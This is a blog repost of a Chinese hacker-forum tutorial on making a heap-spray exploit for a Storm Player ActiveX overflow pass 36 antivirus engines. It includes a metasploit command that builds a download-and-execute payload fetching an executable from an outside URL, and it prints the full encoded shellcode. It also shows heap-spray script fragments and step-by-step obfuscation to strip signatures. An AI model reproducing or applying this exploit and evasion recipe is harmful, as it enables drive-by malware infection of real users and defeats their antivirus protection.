On The Road ZJL

我的博客列表

2008年8月3日星期日

百度_黑客吧_heap spray型exploit免杀过36大杀软

百度_黑客吧_heap spray型exploit免杀过36大杀软:
感觉heap spray型exploit免杀难?

看不懂就不好做免杀?

首先放下你的CCL,在这种exploit中杀软可不吃这套。

你可能说,过kapersky,Rising等只要把shellcode拆开,变量名全打乱就可以过了。
是我们要追求完美,要过virscan.org 36大杀软。Mcafee,Antivir,NOD32吃你这套吗?

就拿暴风影音stormplayer activeX 控件sparser.dll中rawParse方法的溢出exploit来做示范咯。

是2段scripts,首先删了第二段,也就是只留下shellcode跟object声明,然后传到virscan.org去。

是不是发现这段shellcode被杀了?

贴子相关图片:

作者: し掰搿嬲讎雠

2007-11-25 16:21   回复此发言

2 回复:heap spray型exploit免杀过36大杀软

方法一:利用shellcode encoder.

这里只是做示范,就不从提取shellcode讲起了 ..

OK,metasploit隆重登场!

OS:Ubuntu 7.10 x86_64 GNU/Linux Kernel 2.6.22

去www.metasploit下载一份metasploit 2.7,解压,切换目录:

shell:
knell@knell-FuZZer:~$ cd 桌面
knell@knell-FuZZer:~/桌面$ cd framework-2.7
knell@knell-FuZZer:~/桌面/framework-2.7$ ./msfpayload win32_downloadexec URL=http://d.thec.cn/knell/test.exe R | ./msfencode -t raw -b '\x00' -s 400 | ./code2 --utf-16 >fuck.txt
[*] Using Msf::Encoder::PexFnstenvMov with final size of 394 bytes
knell@knell-FuZZer:~/桌面/framework-2.7$

关于metasploit的用法,可以去官方网站找文档,这里不细说,Win32_downloadexec是 urldownloadtofileA+winexec简约型shellcode,所以不过HIPS等监控,这里只是示范...你完全可以自己提取个比较强的.. R是RAW格式,也就是原始数据,因为下一步要用msfencode压缩,所以要是RAW咯。 -t 是target..当然是raw 咯。 -b 意思是不包含"\00"....shellcode里出现\x00意味着什么我就不废话了..... -s 400 是最大长度。这里我没有指定具体encoder,这也是metasploit的灵活之处,自动选择了最符合要求的encoderPexFnstenvMov并压缩到了 394byte.接着的code2是一个编码转换器,作者荷兰人skylined,source:http://www.edup.tudelft.nl/~bjwever/src/beta.c

--utf-16当然就是unescape咯。

最后gedit fuck.txt ,里面就是压缩过的shellcode咯。因为encoder有N多种...所以不会被杀的,不信?把这段shellcode替换上,再传到virscan.org,是不是全bypass拉。

%u5d6a%ud959%ud9ee%u2474%u5bf4%u7381%u1f13%uabd1%u83de%ufceb%uf4e2%uc1f4%u94f1%u182c%u67cd%ud023%uea2b%u4815%u2449%ud4f4%u3543%u2ee0%uae54%u4853%u4732%u2cdc%u7793%u4886%ucc32%u44c6%u37b9%ue59a%u07b9%uc38e%uccea%u74f5%u33b9%u3098%ub431%u360d%u4412%uc37d%u537c%ua5b5%u1064%uc3d7%u440d%uc37d%u2dc0%u1188%ue1c1%u40f2%u186b%u8f05%u0236%ua164%u186b%uc3d8%uccff%u6cc0%u8431%ua957%u8631%u81b5%ucc54%uc38e%u5b74%u8b85%ua6f3%u4b84%uccf3%u4b86%uccf1%uc37c%uc4c5%u4640%u97b9%u4cec%uaf6b%u48d6%u4732%u8e05%u153f%ub7d0%ubb65%uc3dc%u2dea%u1187%u7ada%u4886%uc432%u5b40%u0164%u7606%u32b2%uc87c%uc704%ucbd8%u67de%u940d%u6758%ub7d5%uab65%u4c41%u1b31%u66e7%u8057%u4bc2%u3f36%u48e3%u7432%u1846%u1462%u18d0%u10cd%uc37a%u17ee%ub7d5%ub765%ub7d6%ub365%u88b5%uc29e%u3d46%u16cb%u1ed4%ub861%u1254%uec6b%ua664%u8701%ua045%ub814%ub779%u2275%u18f2%u2840%u09e5%u2356%u2df4%u3441%u0f86%u3357%u31d5%u3341%u25e3%u2e76%u2df4%u3351%u3ae9%u064b%u1f86%u295b%u30c3%u2457%u0d86%u2e4a%u1cf2%u355a%u29e3%u4756%u27ca%u2353%u21ca%u3550%u3ae7%u064b%u3d86%u2b40%u27eb%u475c%u1ad3%u037e%u3fe9%u2b5c%u29e9%u1356%u0ee9%u2b5b%u09e3%ub632%ua56b%ue4db%ufe30%uf0cf%ub96b%ubdce%ub231%uf1c5%ubf74%ub2ce%ufe73%ubbdf%ua56c%ubb85%ub467%ude2b


既然shellcode问题解决了,那么后面第二段script怎么改呢。
var bigblock = unescape("%u9090%u9090");
var headersize = 20;
var slackspace = headersize+shellcode.length;

bigblock就是heap spray的关键所在,向高地址推送shellcode.

slackspace是20+shellcode长度。

那么可以这么变:
首先alert(shellcode.length),是不是得到shellcode长度了?
OK,slackspace的值就有咯。
那么当然要替换掉script中所有slackspace为得到的值。

var bigblock = unescape("%u9090%u9090");要怎么改呢。拆开,再unescape(XX+YY)?AntiVir的特征就在这一句,你杂拆都没用。那么就要混淆视听的拉。
var str = "%ua9a0a9aa0%au9a0a9a0";
var bigblock = unescape(str.replace(/a/g,""));
确实无聊的办法...但是这个特征就不见咯。

后面就简单了,把所有变量全部改名,

诸如block.length可以在上面的一步里alert然后改成值, buffer.length<4057,改成<4056+1,之类的,
buffer+="\x0a\x0a\x0a\x0a"改成
var temp = "\x0a\x0a\x0a\x0a"
buffer+=temp;

再replace几下,最后传到virscan.org,OK,36大杀软全过。


PS:你说有几句不能变?sb.rAWParse(zhen)都可以改成eval("sb.rAWParse(zhen)");.....


没有用到任何新鲜技术,我也只是在陈述一个道理:巧妙的思维能穿透看不懂的问题。
贴子相关图片:

没有评论: